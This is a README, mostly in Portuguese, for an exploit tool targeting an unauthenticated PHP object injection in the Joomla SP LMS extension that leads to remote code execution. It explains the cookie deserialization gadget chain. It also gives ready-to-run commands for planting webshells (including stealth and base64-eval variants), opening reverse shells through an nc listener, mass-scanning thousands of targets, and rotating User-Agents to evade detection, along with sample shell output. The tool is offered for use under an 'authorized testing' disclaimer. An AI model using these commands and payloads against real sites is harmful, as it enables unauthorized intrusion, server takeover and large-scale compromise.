
CVE-2026-48909 - Unauthenticated PHP Object Injection to RCE exploit for Joomla SP LMS extension versions <= 4.1.3. Exploits lmsOrders cookie deserialization to write webshell via Joomla FormattedtextLogger gadget chain. Includes interactive shell, path discovery, and cleanup. For authorized security testing only.
Ferramenta de prova de conceito para CVE-2026-48909
Autor: Sudeepa Wanigarathna
[!IMPORTANT] Uso autorizado apenas. Esta ferramenta destina-se a pesquisa em segurança, educação e teste de sistemas que você possui ou para os quais possui permissão explícita por escrito. O acesso não autorizado a sistemas informáticos é ilegal. O autor não assume qualquer responsabilidade por uso indevido.
CVE-2026-48909 é uma Injeção de Objeto PHP não autenticada crítica na extensão SP LMS do Joomla. Esta ferramenta implementa a cadeia de ataque completa para que profissionais de segurança possam validar o impacto em ambientes de laboratório ou autorizados.
Ela cobre detecção, descoberta de caminhos, entrega de payload, pós-exploração interativa (quando permitido), avaliação em massa e limpeza opcional.
| Atributo | Valor |
|---|---|
| ID CVE | CVE-2026-48909 |
| CVSS | 9.5 (Crítico) |
| Vetor de Ataque | Rede — não autenticado |
| Impacto | Execução Remota de Código |
| Produto Afetado | Joomla SP LMS |
| Versões Afetadas | 1.0.0 – 4.1.3 |
| Versão Corrigida | SP LMS 4.1.4+ |
| Cadeia de Gadgets | Requer Joomla < 5.2.2 |
| Componente | Versão | RCE |
|---|---|---|
| SP LMS | < 4.1.4 | Vulnerável |
| SP LMS | ≥ 4.1.4 | Corrigido |
| Joomla | < 5.2.2 | Cadeia de gadgets utilizável |
| Joomla | ≥ 5.2.2 | Cadeia de gadgets corrigida |
| Capacidade | Descrição |
|---|---|
| Exploit não autenticado | Nenhuma credencial necessária |
| Múltiplos payloads | 7 variantes de webshell / execução |
| Shell interativo | Sessão com histórico de comandos após implantação |
| Descoberta de caminho | Sondagem automática de caminhos graváveis |
| Limpeza | Remove webshell implantado após os testes |
| Capacidade | Descrição |
|---|---|
| Varredura em massa | Listas de alvos com múltiplas threads (1000+) |
| Suporte a proxy | HTTP/SOCKS (Burp, ZAP, etc.) |
| Reverse shell | Payloads baseados em listener |
| Modo furtivo | Canais de comando via cabeçalho / POST |
| Randomização | Nomes de shell com UUID, rotação de User-Agent |
| Relatórios | Exportar como JSON, HTML ou CSV |
| Auxílios de detecção | Verificações de versão do Joomla, --check-only, --safe-mode |
cmd do Joomla quando possívelpipcd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
requests>=2.31.0
urllib3>=2.0.0
argparseacompanha a biblioteca padrão do Python; não precisa ser instalado via pip.
Substitua
https://target.examplepor um alvo de laboratório ou autorizado apenas.
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
# Listener
nc -lvnp 4444
# Host do exploit
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
| Argumento | Descrição |
|---|---|
target | URL do alvo único |
--targets, -T FILE | Arquivo com alvos (uma URL por linha) |
--path PATH | Caminho absoluto no servidor para o webshell |
--shell-type TYPE | minimal, standard, stealth, base64, full, reverse, blindshell |
--shell-name NAME | Nome do arquivo do webshell (padrão: x.php) |
| Argumento | Descrição |
|---|---|
--timeout SECONDS | Timeout da requisição (padrão: 15) |
--insecure | Ignorar verificação de certificado TLS |
--proxy URL | Ex.: http://127.0.0.1:8080 |
--random-ua | Rotacionar User-Agent (ativado por padrão) |
--delay SECONDS | Atraso entre requisições |
| Argumento | Descrição |
|---|---|
--reverse-host HOST | Host do listener |
--reverse-port PORT | Porta do listener |
| Argumento | Descrição |
|---|---|
--interactive, -i | Shell interativo após implantação |
--check-only | Apenas verificação de vulnerabilidade |
--safe-mode | Teste não destrutivo |
--find-path | Descobrir automaticamente caminho gravável |
--cmd COMMAND | Executar um comando e sair |
--cleanup PATH | Remover webshell no caminho |
--cleanup-after | Limpar após exploração |
| Argumento | Descrição |
|---|---|
--threads NUM | Threads de trabalho (padrão: 10) |
--export FILE | Caminho de saída para resultados |
--export-format FORMAT | json, html, csv (padrão: json) |
| Argumento | Descrição |
|---|---|
--log-file FILE | Escrever logs em arquivo |
--quiet, -q | Modo silencioso |
--verbose, -v | Saída detalhada |
--no-banner | Ocultar banner |
| Tipo | Comportamento | Uso típico |
|---|---|---|
minimal | Execução compacta via GET | Espaço apertado / teste rápido |
standard | GET + POST cmd (padrão) | Avaliações gerais |
stealth | Comando via cabeçalho X-Cmd | Reduzir logging de URL |
base64 | eval(base64_decode(...)) via POST | Laboratórios de evasão de filtros |
full | GET/POST + canal base64 | Controle mais amplo |
reverse | Shell de conexão reversa | Acesso persistente em laboratório |
blindshell | Padrão alternativo de inclusão / execução | Ambientes restritos |
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
--reverse-host 10.0.0.1 --reverse-port 4444 --find-path
flowchart TD
A["Cookie lmsOrders controlado pelo atacante"] --> B["unserialize() em cart.php"]
B --> C["FormattedtextLogger::__destruct()"]
C --> D["File::write() — Drop PHP"]
D --> E["Webshell em disco"]
E --> F["Execução remota de comandos"]
components/com_splms/models/cart.php desserializa um cookie lmsOrders decodificado em base64.Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct() aciona uma escrita no sistema de arquivos./, =, +).O filtro cmd do Joomla pode remover /, =, e +. Esta ferramenta compensa:
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> whoami
www-data
shell> pwd
/var/www/html
shell> exit
{
"timestamp": "2026-07-16T10:30:00.123456",
"target": "https://lab.example",
"shell_path": "/tmp/x_abc123def.php",
"shell_url": "https://lab.example/tmp/x_abc123def.php",
"shell_type": "standard",
"vulnerable": true,
"exploited": true,
"joomla_version": "4.3.2",
"detected_paths": [
"/tmp/x_abc123def.php",
"/images/x_abc123def.php",
"/cache/x_abc123def.php"
],
"author": "Sudeepa Wanigarathna",
"tool_version": "3.0"
}
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
| Sintoma | O que tentar |
|---|---|
| Não foi possível gerar payload seguro contra filtros | Diferente --path, ou --find-path; evite caracteres incomuns no caminho |
| Falha na verificação do shell | Aumente --timeout; tente --shell-type standard; confirme que system() / similar não está desabilitado; verifique permissão de escrita |
| Alvo não parece vulnerável | SP LMS ≤ 4.1.3, Joomla < 5.2.2, com_splms presente; inspecione bloqueios de WAF |
| HTTP 500 | --insecure, --timeout 30, revise logs do servidor/aplicação |
| Conexão com proxy recusada | Confirme que o proxy está ouvindo; esquema de URL / host / porta corretos |
| Falha na verificação TLS | Adicione --insecure para endpoints de laboratório com certificados quebrados |
# Detalhado + log em arquivo
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log
# Através do Burp
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
--proxy http://127.0.0.1:8080 --insecure -v
# Não destrutivo primeiro
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
exploit/
├── CVE-2026-48909 v3.0.py # Ferramenta principal (v3.0)
├── requirements.txt # Dependências Python
├── README.md # Este arquivo
└── venv/ # Virtualenv local (opcional, não commitado)
Adições opcionais para um lançamento público:
targets.txt.example
docs/technical-details.md
examples/basic-exploit.sh
examples/mass-scan.sh
Este projeto é fornecido como está para pesquisa defensiva em segurança e testes de penetração autorizados.
Ao usar este software você concorda que:
Se você descobrir esta vulnerabilidade em produção, siga práticas de divulgação responsável e coordene com o fornecedor / CERT quando apropriado.
Sudeepa Wanigarathna
Pesquisador de segurança · Hacking ético · Pesquisa de vulnerabilidades · Ferramentas em Python
Para testes de segurança autorizados apenas.